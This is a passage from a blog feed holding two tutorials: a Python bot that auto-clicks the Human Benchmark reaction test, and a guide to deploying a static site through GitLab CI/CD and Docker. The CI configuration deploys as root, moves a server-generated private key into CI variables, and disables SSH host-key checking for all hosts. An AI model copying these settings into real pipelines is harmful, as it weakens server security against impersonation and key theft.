<p>The concept is pretty simple — load up the game and click on the given space once the background goes green. Once you do that 5 times, you get your speed results. The question is can we <strong>create a bot</strong> that will do the task for us :)</p>
<h2 id="heading-2-triggers">2. Triggers</h2>
<p>Now that you know how the game works we need to slice it up into small parts that happen along the way. In order to begin the reaction test user is asked to click on the given area in order to launch the next phase of the game.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562806878/lY97NXZoo.png" alt="Trigger 1 — Click to start" /><em>Trigger 1 — Click to start</em></p>
<p><strong>That is your first trigger </strong>— someone (or something :D) needs to start the game by clicking on the given area. Once you click on the area the game will start. The very next thing you will see is a big red area that asks you to do — NOTHING. Since the user is asked not to do anything unless the background turns to green color this can’t be considered a trigger, however, you get the idea of what our next trigger is.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562808755/Rq5rn41_g.png" alt="Trigger 2 — Click as fast as you (or something else) can" /><em>Trigger 2 — Click as fast as you (or something else) can</em></p>
<p>So for <strong>your trigger #2</strong>, you are asked to click as soon as the red background turns into a green one. This is a perfect event for our trigger since we have, what you can consider, an image change. After you click on the green area you will be presented with a new screen that requires the user’s attention in form of a left click.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562810624/YSm7d2sX5.png" alt="Trigger 3 — Click to keep going" /><em>Trigger 3 — Click to keep going</em></p>
<p>You get the idea. Everything that requires a click from a user or to do any kind of interaction can be considered a trigger. So this will be <strong>your trigger #3</strong>. It is time to finish the game so feel free to play the game 5 times. You will then be presented with your average click response time. This screen is not really interesting to us since it only contains some statistics — the main game is, however, finished. Now that you know that info, we can start <strong>building the bot.</strong></p>
<h2 id="heading-3-building-the-reflex-clicker">3. Building the reflex clicker</h2>
<p>The idea for the solution is simple — take a screenshot of your screen every now and then and analyze it in order to find which trigger we need.</p>
<p>Recap:</p>
<ul>
<li><p>Trigger #1 — Initial click to start the game</p>
</li>
<li><p>Trigger #2 — Click as soon as you see the green background-color</p>
</li>
<li><p>Trigger #3 — Round results along with click action to continue to the next round (5 rounds max.)</p>
</li>
</ul>
<p>First, you need to create the <strong>trigger images</strong> for the bot to look for once you launch it. These should be cropped-up images of the action points that I mentioned earlier (trigger pictures above). If you want to <strong>use the ones I used</strong>, feel free to check them out <a target="_blank" href="https://gitlab.com/vojko.pribudic/reflex-clicker">inside my repo</a>. Once you have the trigger images ready we can start to slowly build our code step by step, so open up your favorite Python IDE and let’s create our first lines of code.</p>
<pre><code>class ReflexClicker:
    def __init__(<span class="hljs-built_in">self</span>):
        <span class="hljs-built_in">self</span>.images <span class="hljs-operator">=</span> (
            cv.imread(<span class="hljs-string">"img01.png"</span>),
            cv.imread(<span class="hljs-string">"img02.png"</span>),
            cv.imread(<span class="hljs-string">"img03.png"</span>),
        )
        <span class="hljs-built_in">self</span>.current_img <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span>.images[<span class="hljs-number">0</span>]
        <span class="hljs-built_in">self</span>.started <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
        <span class="hljs-built_in">self</span>.states <span class="hljs-operator">=</span> [False, False, False]
        <span class="hljs-built_in">self</span>.click_count <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
</code></pre><p>Trigger images are stored inside the <code>self.images</code> attribute which is a simple tuple that makes use of the <code>cv.imread()</code> method to load the image files into the memory. You need to keep track of the current image that you are looking for so we will make use of the <code>self.current_img</code> attribute. The attribute <code>self.started</code> will be just a boolean value (0 — false, 1-true). This is needed since <strong>trigger #1 just appears once per game</strong>. The other 2 triggers will run multiple times. You need to keep track of which <strong>trigger is set to execute</strong> next. To do so, make use of the <code>self.states</code> attribute. It’s a simple list of boolean values that tells us which triggers were already run. Finally, you want the triggers (and your script) to <strong>stop running</strong> once the game was played 5 times. To keep that counter make use of the <code>self.click_count</code> attribute.</p>
<p>You should <strong>know something</strong> before you continue your image detection bot journey. Note that the images we created are using the standard <a target="_blank" href="https://en.wikipedia.org/wiki/RGB_color_model">RGB color model</a>. Well, as it turns out, OpenCV uses the <a target="_blank" href="https://learnopencv.com/why-does-opencv-use-bgr-color-format/">BGR color model</a> which means that our image recognition won’t really work unless we convert our images from RGB to BGR model. Let’s create a method inside our class that will grab a screenshot and convert it to BGR.</p>
<pre><code>@staticmethod
def _get_image():
    img <span class="hljs-operator">=</span> ImageGrab.grab()
    img_cv <span class="hljs-operator">=</span> cv.cvtColor(np.array(img), cv.COLOR_RGB2BGR)
    <span class="hljs-keyword">return</span> img_cv
</code></pre><p>Since OpenCV understands images as multi-dimensional <strong>arrays, </strong>you can make use of the <code>numpy.array()</code> method to pass the screenshot that <code>ImageGrab.grab()</code> created and use <code>cv.COLOR_RGB2BGR</code> to convert between the color models, finally returning the finalized image representation.</p>
<p>The next thing you need to do is to <strong>find out which trigger image</strong> we will check against the screenshot image based on which trigger you found.</p>
<pre><code>def _set_image_by_state(<span class="hljs-built_in">self</span>):
    <span class="hljs-keyword">for</span> i, state in enumerate(<span class="hljs-built_in">self</span>.states):
        <span class="hljs-keyword">if</span> not state:
            <span class="hljs-built_in">self</span>.current_img <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span>.images[i]
            <span class="hljs-keyword">break</span>
</code></pre><p>We loop over all of the states and once we find the first trigger that did not run (first <code>False</code> value) we set the current trigger image to match the trigger. For example — if we are at trigger #1 — click to start the game — our trigger image should be <a target="_blank" href="https://gitlab.com/vojko.pribudic/reflex-clicker/-/blob/main/img01.png">this one</a> since that is what we want our bot to find. Now we know which trigger image we will use based on <code>states</code>. What you need to do next is to create a method that will update the <code>states</code> value once the trigger click occurs.</p>
<pre><code>def _update_state(<span class="hljs-built_in">self</span>):
    <span class="hljs-keyword">for</span> i, <span class="hljs-keyword">_</span> in enumerate(<span class="hljs-built_in">self</span>.states):
        <span class="hljs-keyword">if</span> not <span class="hljs-built_in">self</span>.states[i]:
            <span class="hljs-keyword">if</span> i <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>:
                <span class="hljs-built_in">self</span>.click_count <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>
            <span class="hljs-built_in">self</span>.states[i] <span class="hljs-operator">=</span> True
            <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">if</span> all(s <span class="hljs-keyword">for</span> s in <span class="hljs-built_in">self</span>.states):
        <span class="hljs-built_in">self</span>.states <span class="hljs-operator">=</span> [True, False, False]
        time.sleep(<span class="hljs-number">2</span>)
</code></pre><p>We loop over our <code>states</code> and once we find the first state that did not run (value is <code>False</code>) we want to set it to <code>True</code> to mark it as finished (remember — this method will be called after click event happens). If the state is not trigger #1 you also need to increase your click counter (only do this if the game started — which means trigger #1 already passed). The last thing to check is if you passed trigger #3. Trigger #3 is the retry trigger, once you click it trigger #2 occurs again. That is why we “reset” the <code>states</code> values with the first value set to <code>True</code> — trigger #1 will never occur again since the game already started. To finalize add a <code>sleep</code> timer set to 2 seconds just to be able to see your reaction time before you hit trigger #2 again.</p>
<p>Now you need to check the actual screenshot you took against the trigger image to <strong>try and find the match</strong>. OpenCV makes this easy by using <strong>template matching</strong>. Now there are <a target="_blank" href="https://docs.opencv.org/3.4/de/da9/tutorial_template_matching.html">multiple ways</a> you can use template matching and they all work differently and give out different results. I will keep it short and just go forward and tell you that you will almost always use <code>TM_CCOEFF_NORMED</code> for the template matching method.</p>
<pre><code>def _get_score(<span class="hljs-built_in">self</span>, ss):
    <span class="hljs-keyword">return</span> cv.matchTemplate(ss, <span class="hljs-built_in">self</span>.current_img, cv.TM_CCOEFF_NORMED)
</code></pre><p>We just return the array of score results trying to match the current trigger image against the screenshot you took. All that is left to do is to put the logic together and actually make use of PyAutoGui</p>
<pre><code>def run(<span class="hljs-built_in">self</span>):
    <span class="hljs-built_in">self</span>._set_image_by_state()
    ss <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span>._get_image()
    res <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span>._get_score(ss)

    <span class="hljs-keyword">if</span> (res <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span><span class="hljs-number">.8</span>).any():
        h, w <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span>.current_img.shape[:<span class="hljs-number">-1</span>]
        loc <span class="hljs-operator">=</span> cv.minMaxLoc(res)[<span class="hljs-number">-1</span>]
        pg.moveTo(loc[<span class="hljs-number">0</span>] <span class="hljs-operator">+</span> w <span class="hljs-comment">// 2, loc[1] + h // 2)</span>
        <span class="hljs-built_in">self</span>._update_state()
        pg.click()

    <span class="hljs-keyword">if</span> <span class="hljs-built_in">self</span>.click_count <span class="hljs-operator">&lt;</span> <span class="hljs-number">5</span>:
        <span class="hljs-built_in">self</span>.run()
</code></pre><p>The flow should go like this — set the trigger image that we look for based on the current trigger (<code>states</code>), create the screenshot, evaluate the trigger image against the screenshot, and if the score is 80% or more we got our match. Then get the trigger image width and height and find the coordinates of where the trigger image was found on the screenshot. By using PyAutoGUI, position the mouse on the center of the trigger image, update the state for the next trigger and make the click. Repeat the run 5 times.</p>
<p>You can check the <strong>final code</strong> <a target="_blank" href="https://gitlab.com/vojko.pribudic/reflex-clicker/-/blob/main/clicker.py">here</a> or take a look at the demo video below.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=7II1EdYZvE4">https://www.youtube.com/watch?v=7II1EdYZvE4</a></div>
<h2 id="heading-4-benchmarks">4. Benchmarks</h2>
<p>You may wonder why we use <strong>OpenCV</strong> at all since PyAutoGUI has its own <a target="_blank" href="https://pyautogui.readthedocs.io/en/latest/screenshot.html#the-locate-functions">image detection mechanism</a>. Short answer — <strong>speed</strong>. Now I won’t throw you my own benchmarks since I referred to <a target="_blank" href="https://www.thekerneltrip.com/python/utils/python-fast-screenshot-locate-on-screen/">this post</a> when I made the decision to try OpenCV out. What I will, however, encourage you to look at is a <strong>bonus script</strong> for another game on Human Benchmarks that you can find <a target="_blank" href="https://gitlab.com/vojko.pribudic/reflex-clicker/-/blob/main/target.py">here</a>. Once you get it, run it once with <code>render = "pg"</code> and then switch it to <code>render = "cv"</code> and check the results.</p>
<p>That’s it for this time — as always, thanks for reading!</p>
]]></content:encoded></item><item><title><![CDATA[Deploying a static website via GitLab CI/CD and Docker to the remote VPS]]></title><description><![CDATA[We’ve all been there - you have your perfect website ready, you bought that awesome domain name and your VPS is ready to host it, but you have no idea how to put it out there in the world… Hopefully this guide will help you out with this common issue...]]></description><link>https://blog.vojko.dev/deploying-a-static-website-via-gitlab-ci-cd-and-docker-to-the-remote-vps-488ed8fa988e</link><guid isPermaLink="true">https://blog.vojko.dev/deploying-a-static-website-via-gitlab-ci-cd-and-docker-to-the-remote-vps-488ed8fa988e</guid><category><![CDATA[Docker]]></category><category><![CDATA[GitLab]]></category><category><![CDATA[website]]></category><category><![CDATA[deployment]]></category><category><![CDATA[ci-cd]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Tue, 05 Oct 2021 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1634337781778/Xy4dGqJuk.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>We’ve all been there - you have your perfect website ready, you bought that awesome domain name and your VPS is ready to host it, but you have no idea how to put it out there in the world… Hopefully this guide will help you out with this common issue most of us faced at some point.</p>
</blockquote>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>To follow this guide you should have the following prerequisites:</p>
<ul>
<li><p>domain name</p>
</li>
<li><p>VPS server</p>
</li>
<li><p>git knowledge</p>
</li>
<li><p>basic knowledge of GitLab CI/CD</p>
</li>
<li><p>basic knowledge of Docker/docker-compose</p>
</li>
<li><p>static (HTML) website</p>
</li>
</ul>
<p>Even if you don’t know what Docker and docker-compose are, you can still follow the guide since deep knowledge of the two is not required and I’m confident that you will be able to complete our goal.</p>
<h2 id="heading-1-pointing-your-domain-to-your-vps">1. Pointing your domain to your VPS</h2>
<p>Your <strong>VPS</strong> will store your website on its storage drive, but how do you reach your VPS by using your <strong>domain</strong> when your VPS only has a <strong>public IP address</strong>? <strong>DNS</strong> to the rescue. Your VPS hosting provider “equipped” you with its own DNS <strong>resolver</strong> - a handy tool that will help us connect your domain and your VPS server. On the other side, your domain registrar allows you to use custom <strong>nameservers</strong>. Nameservers will tell your domain where to look for a DNS resolver that will then resolve your domain to the target server’s public IP address - your own VPS. In this example, I will be using InterServer as my VPS provider (with Ubuntu 20.04 installed) and the configuration that I will show will reflect their nameservers/DNS resolver.</p>
<p>First fire up your domain registrar dashboard for the domain that you want to use. Somewhere in the settings, you should find something similar to the picture below (depends on the registrar you are using).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562816104/aEuKx_-hF.png" alt="Using InterServer nameservers from the domain manager" /><em>Using InterServer nameservers from the domain manager</em></p>
<p>As you can see, we instructed our domain to use <a target="_blank" href="https://www.interserver.net/tips/kb/add-manage-nameservers-interserver/">InterServer nameservers</a> to hit the domain resolver there.</p>
<p>Now we need to configure the DNS resolver. First login to InterServer (or whoever you picked to be your hosting provider) client area and look for your VPS there. We need to look for the public IP address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562818210/jYZjcj4uP.png" alt="List of all available VPS servers with public IP’s" /><em>List of all available VPS servers with public IP’s</em></p>
<p>Once we have the IP address of the VPS instance we want to use, we need to instruct our DNS resolver to forward every request that comes from our domain to the target VPS’s IP address. InterServer’s DNS manager can be found in the navigation menu under <code>More -&gt; DNS manager</code>. We have the option there to input our domain name and the IP address we want to forward (resolve) it to.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562820440/_sVyNU-3f.png" alt="DNS Manager" /><em>DNS Manager</em></p>
<p>Once you are done, hit the <code>Add DNS Entry</code> button to save the changes. The tricky part here is that DNS resolvers and nameservers can take some time to propagate the changes we just made. To check the status of propagation we can use <a target="_blank" href="https://www.whatsmydns.net/">this site</a>. Input your domain name and run the checks for <strong>A record</strong>. Once it propagates you should see a lot of green checkmarks. If not, wait for a few minutes and check again until you do.</p>
<h2 id="heading-2-configuring-your-vps">2. Configuring your VPS</h2>
<p>To be able to remotely log in to our VPS (via GitLab), we need to provide our <strong>root</strong> user (root user is the one you configure along with the VPS upon system installation) with his own <strong>SSH</strong> key. To do so, we first need to log in to our VPS via ssh inside the terminal/console.</p>
<pre><code>ssh root@your<span class="hljs-operator">-</span>server<span class="hljs-operator">-</span>ip<span class="hljs-operator">-</span><span class="hljs-keyword">address</span>
</code></pre><p>Upon entering the command above you will be prompted to enter the root user’s password. After you log in you should see something like this:</p>
<pre><code>root@vps1234567<span class="hljs-symbol">:~</span><span class="hljs-comment">#</span>
</code></pre><p>Our remote terminal is ready to take and process new commands. Now we will generate our SSH key. Enter the command:</p>
<pre><code>ssh<span class="hljs-operator">-</span>keygen <span class="hljs-operator">-</span>t rsa
Generating <span class="hljs-keyword">public</span><span class="hljs-operator">/</span><span class="hljs-keyword">private</span> rsa key pair. 
Enter file in which to save the key (<span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>.ssh/id_rsa):  
Enter passphrase (empty <span class="hljs-keyword">for</span> no passphrase):  
Enter same passphrase again:  
Your identification has been saved in <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>.ssh/id_rsa 
Your <span class="hljs-keyword">public</span> key has been saved in <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>.ssh/id_rsa.pub
</code></pre><p>For each of these prompts, you can just press Enter to leave them blank. Along with the input above, you should also see an image-like fingerprint. So far so good. We now have <strong>private/public ssh key pair</strong>. Now let’s add our public key to authorized keys by using the command:</p>
<pre><code>cat <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.ssh/id_rsa.pub <span class="hljs-operator">&gt;</span> <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.ssh/authorized_keys
</code></pre><p>Also, we need to get our private key for later on when GitLab comes along. To get the contents of our private key, use the command:</p>
<pre><code>cat <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.ssh/id_rsa
</code></pre><p>If everything goes ok you should see terminal output containing a long list of characters like below</p>
<pre><code><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>BEGIN OPENSSH PRIVATE KEY<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> 
...
...
...
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>END OPENSSH PRIVATE KEY<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
</code></pre><p>Copy/save it (BEGIN and END line included) as we will need it. Now that we have everything we need, it is time to create a GitLab repository that will hold our website.</p>
<h2 id="heading-3-configuring-gitlab-repository">3. Configuring GitLab repository</h2>
<p><em>Note: This section assumes that you have basic GitLab CI/CD knowledge. If you are not familiar with it, please refer to <a target="_blank" href="https://docs.gitlab.com/ee/ci/">this link</a>.</em></p>
<p>Head over to GitLab and create a new <a target="_blank" href="https://gitlab.com/projects/new">blank project</a>. Project name can be set to your domain name and you might want to set your project to <strong>private</strong>. Once you create your project, clone it locally to a destination of your choice using the <code>git clone</code> command:</p>
<pre><code>git clone git@gitlab.com:your.username/repo.<span class="hljs-built_in">name</span>.git
</code></pre><p>You have your blank repository available locally now. To get CI/CD to work, we need to configure some <strong>environment variables</strong>. To do so, go to your <a target="_blank" href="https://gitlab.com/vojko.pribudic/vojko.dev/-/settings/ci_cd">CI/CD settings page</a> and hit <code>Expand</code> next to the <code>Variables</code> section. Our deployment will need 4 variables set. Configure your variables like in the picture below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562822422/0_DQqnvxn.png" alt="GitLab environment variables" /><em>GitLab environment variables</em></p>
<pre><code>EXAMPLE CONFIG
DEPLOY_SERVER_IP <span class="hljs-operator">-</span> your VPS IP <span class="hljs-keyword">address</span> <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">12.34</span><span class="hljs-number">.567</span><span class="hljs-number">.88</span>
DEPLOY_SERVER_PATH <span class="hljs-operator">-</span> website path <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-operator">/</span>srv<span class="hljs-operator">/</span>docker<span class="hljs-operator">/</span>domain.com
DEPLOY_SERVER_USER <span class="hljs-operator">-</span> should be VPS default user <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> root
SSH_PRIVATE_KEY <span class="hljs-operator">-</span> <span class="hljs-keyword">private</span> key we saved earlier <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span>
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>BEGIN OPENSSH PRIVATE KEY<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> 
...
...
...
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>END OPENSSH PRIVATE KEY<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
</code></pre><p>Make sure to set the masked/protected checkmarks as in the above picture. Once you are done we can move on to creating our local files/folders.</p>
<h2 id="heading-4-local-files">4. Local files</h2>
<p><em>Note: Some knowledge of Docker/docker-compose is required even tho you will be able to understand what is going on even if you don’t have any. If you want to test your website locally, you will have to install Docker and docker-compose to your host OS. If you are not interested in testing locally, skip installing Docker and docker-compose to your OS since they will only be needed on our VPS server.</em></p>
<p>Navigate to the location where you cloned your GitLab repo earlier in the guide since we will be creating our files there. This folder should be empty <strong>and/or</strong> contain only the <strong>README.md</strong> file.</p>
<p>To start, create an empty folder called <code>html</code>. Inside it create another folder called <code>localhost</code> if you plan to test locally (read the note above). Create another folder (also inside the <code>html</code> directory) called <code>yourdomain.com</code> (replace this with your real domain name). Create a blank file inside the <code>yourdomain.com</code> folder and name it <code>index.html</code>. If you already have your website ready, skip the creation of the blank <code>index.html</code> file and place your website files/folders inside instead. Now <code>yourdomain.com</code> should consist either of a blank index file or your website files/folders.</p>
<p>Next, we will create a new file in the repository root (outside the <code>html</code> folder). Name the file <code>docker-compose.yml</code>. I won’t go into details of the contents for this file because it depends on how familiar you are with docker-compose. Instead, I will just put the contents of the file below for you to copy/paste:</p>
<pre><code><span class="hljs-attribute">version</span>: '3'

<span class="solidity">services:

  https<span class="hljs-operator">-</span>portal:
    image: steveltn<span class="hljs-operator">/</span>https<span class="hljs-operator">-</span>portal:<span class="hljs-number">1</span>
    restart: unless<span class="hljs-operator">-</span>stopped
    ports:
        <span class="hljs-operator">-</span> <span class="hljs-number">80</span>:<span class="hljs-number">80</span>
        <span class="hljs-operator">-</span> <span class="hljs-number">443</span>:<span class="hljs-number">443</span>
    volumes:
        <span class="hljs-operator">-</span> ./ssl_certs:<span class="hljs-operator">/</span><span class="hljs-keyword">var</span><span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>https<span class="hljs-operator">-</span>portal
        <span class="hljs-operator">-</span> ./html:<span class="hljs-operator">/</span><span class="hljs-keyword">var</span><span class="hljs-operator">/</span>www<span class="hljs-operator">/</span>vhosts:rw
    environment:
        DOMAINS: <span class="hljs-string">'localhost'</span>
        STAGE: <span class="hljs-string">'local'</span></span>
</code></pre><p>What does this do? <strong>TLDR</strong>; This will create a <code>localhost</code> environment with a <strong>self-signed SSL certificate</strong> for you (HTTPS). Also, it will run a webserver on your <code>localhost</code> so that you can test your website (again for the requirements read the note from the start of the section) that is placed inside the <code>html/localhost</code> directory. If you opted not to test locally you can skip this part.</p>
<p>Local testing requires (as per the note below the section start) that you have Docker and docker-compose installed. While inside the repository root directory (where <code>docker-compose.yml</code> is), open up your terminal/console and type the following:</p>
<pre><code>docker<span class="hljs-operator">-</span>compose up
</code></pre><p>After a while, your website should be running on your <code>localhost</code> web server and you should be able to access it by using your web browser. Once you get your testing done, you can use <code>CTRL+C</code> to stop running the webserver/docker container.</p>
<p>You got this far, now let’s do few more steps to get this running in production as well.</p>
<p>Create a new file and name it <code>docker-compose.prod.yml</code> inside your repository root. The contents of the new file are:</p>
<pre><code><span class="hljs-attribute">version</span>: '3'

<span class="solidity">services:

  https<span class="hljs-operator">-</span>portal:
    image: steveltn<span class="hljs-operator">/</span>https<span class="hljs-operator">-</span>portal:<span class="hljs-number">1</span>
    restart: unless<span class="hljs-operator">-</span>stopped
    ports:
        <span class="hljs-operator">-</span> <span class="hljs-number">80</span>:<span class="hljs-number">80</span>
        <span class="hljs-operator">-</span> <span class="hljs-number">443</span>:<span class="hljs-number">443</span>
    volumes:
        <span class="hljs-operator">-</span> ./ssl_certs:<span class="hljs-operator">/</span><span class="hljs-keyword">var</span><span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>https<span class="hljs-operator">-</span>portal
        <span class="hljs-operator">-</span> ./html:<span class="hljs-operator">/</span><span class="hljs-keyword">var</span><span class="hljs-operator">/</span>www<span class="hljs-operator">/</span>vhosts:rw
    environment:
        DOMAINS: <span class="hljs-string">'yourdomain.com, www.yourdomain.com =&gt; https://yourdomain.com'</span>
        STAGE: <span class="hljs-string">'production'</span></span>
</code></pre><p>Replace <code>yourdomain.com</code> with your actual domain. This does almost the same as the previous file but this time we are not using localhost, we are using our actual domain. Also, we are redirecting all the traffic from <code>yourdomain.com</code> to <code>https://yourdomain.com</code>.</p>
<p>We don’t want our <code>localhost</code> testing website to go to our git repository so we should also create <code>.gitignore</code> file:</p>
<pre><code>.DS_Store
.idea/
.ssl_certs/
html<span class="hljs-operator">/</span>localhost<span class="hljs-operator">/</span>
</code></pre><p>The last file that we need to create is <code>.gitlab-ci.yml</code>. This is it, the big finale. This file will actually instruct GitLab on how to connect to our VPS and what to do when it does. Put the following inside the <code>.gitlab-ci.yml</code> file:</p>
<pre><code class="lang-bash">image: python

stages:
  - Deploy

deploy_web:
    stage: Deploy
    before_script:
        - <span class="hljs-string">'which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client -y )'</span>
        - mkdir -p ~/.ssh
        - <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$SSH_PRIVATE_KEY</span>"</span> | tr -d <span class="hljs-string">'\r'</span> &gt; ~/.ssh/id_rsa
        - chmod 600 ~/.ssh/id_rsa
        - <span class="hljs-built_in">eval</span> <span class="hljs-string">"<span class="hljs-subst">$(ssh-agent -s)</span>"</span>
        - ssh-add ~/.ssh/id_rsa
        - ssh-keyscan -t rsa <span class="hljs-variable">$DEPLOY_SERVER_IP</span> &gt; ~/.ssh/known_hosts
        - <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"Host *\n\tStrictHostKeyChecking no\n\n"</span> &gt; ~/.ssh/config
        - chmod 644 ~/.ssh/known_hosts
    script:
        - ssh <span class="hljs-variable">$DEPLOY_SERVER_USER</span>@<span class="hljs-variable">$DEPLOY_SERVER_IP</span> <span class="hljs-string">"which docker || ( apt-get update -y &amp;&amp; apt-get install docker.io -y &amp;&amp; systemctl enable --now docker )"</span>
        - ssh <span class="hljs-variable">$DEPLOY_SERVER_USER</span>@<span class="hljs-variable">$DEPLOY_SERVER_IP</span> <span class="hljs-string">"which docker-compose || ( curl -L 'https://github.com/docker/compose/releases/download/1.29.2/docker-compose-<span class="hljs-subst">$(uname -s)</span>-<span class="hljs-subst">$(uname -m)</span>' -o /usr/local/bin/docker-compose &amp;&amp; chmod +x /usr/local/bin/docker-compose )"</span>
        - ssh <span class="hljs-variable">$DEPLOY_SERVER_USER</span>@<span class="hljs-variable">$DEPLOY_SERVER_IP</span> <span class="hljs-string">"if [ ! -d "</span><span class="hljs-variable">$DEPLOY_SERVER_PATH</span><span class="hljs-string">" ]; then mkdir -p <span class="hljs-variable">$DEPLOY_SERVER_PATH</span>; fi"</span>
        - scp -prq <span class="hljs-variable">$CI_PROJECT_DIR</span>/* <span class="hljs-variable">$DEPLOY_SERVER_USER</span>@<span class="hljs-variable">$DEPLOY_SERVER_IP</span>:<span class="hljs-variable">$DEPLOY_SERVER_PATH</span>/
        - ssh <span class="hljs-variable">$DEPLOY_SERVER_USER</span>@<span class="hljs-variable">$DEPLOY_SERVER_IP</span> <span class="hljs-string">"cd <span class="hljs-variable">$DEPLOY_SERVER_PATH</span> &amp;&amp; docker-compose -f docker-compose.prod.yml stop"</span>
        - ssh <span class="hljs-variable">$DEPLOY_SERVER_USER</span>@<span class="hljs-variable">$DEPLOY_SERVER_IP</span> <span class="hljs-string">"cd <span class="hljs-variable">$DEPLOY_SERVER_PATH</span> &amp;&amp; docker-compose -f docker-compose.prod.yml up -d"</span>
    only:
        - master
</code></pre>
<p>A lot is going on here so I will try to explain in a way that you can understand even if you don’t have any idea what is going on in here.</p>
<p>We have a stage (<code>Deploy</code>) and a job inside that stage (<code>deploy_web</code>). Inside the job, we have 4 tags and they all do their part of the magic. Let’s analyze what each of them does:</p>
<pre><code>stage: Deploy <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> Our job belongs to stage called <span class="hljs-string">"Deploy"</span>
before_script: <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> Set of commands that will fire before the `script` tag. What we do here <span class="hljs-keyword">is</span> configure our ssh key (<span class="hljs-keyword">private</span> key we added to environment variables earlier in the guide) so that we can connect <span class="hljs-keyword">from</span> GitLab to our target server.
script: <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> First we make sure that our VPS target has both Docker and docker<span class="hljs-operator">-</span>compose installed <span class="hljs-operator">-</span> <span class="hljs-keyword">if</span> not, we install both of them and run them. Then we make sure that the DEPLOY_SERVER_PATH directory tree exists <span class="hljs-operator">-</span> <span class="hljs-keyword">if</span> not we must create that also. Afterward, we copy all the contents of our html<span class="hljs-operator">/</span>yourdomain.com directory to the VPS equivalent so that our <span class="hljs-string">"new version"</span> goes live. Then we just restart docker<span class="hljs-operator">-</span>compose container to reflect the changes we did.
only: <span class="hljs-operator">-</span> master <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> This will tell GitLab not to deploy anything unless the branch <span class="hljs-keyword">is</span> master. If your branch <span class="hljs-keyword">is</span> called main instead, please change <span class="hljs-built_in">this</span> line to reflect it.
</code></pre><p>Our final repository structure should look something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562824830/WjBTvZbEL.png" alt="Final repo structure" /><em>Final repo structure</em></p>
<p>The only thing that is left now is to actually <strong>push your code</strong> to the GitLab repository:</p>
<pre><code>git add .
git commit <span class="hljs-operator">-</span>m <span class="hljs-string">"Init commit"</span>
git push origin master
</code></pre><p>If you use <code>main</code> instead of <code>master</code> please correct the last line. If there are no mistakes, you should be able to see the newly created pipeline inside your repository. Once the little blue icon turns to a green checkmark, your website should be up and running. Feel free to head over to <code>yourdomain.com</code> and verify that everything is as it should be.</p>
<p><strong>Congrats</strong>, you just deployed your website via GitLab CI/CD with the help of Docker and docker-compose.</p>
<p>Thanks for reading!</p>
]]></content:encoded></item></channel></rss>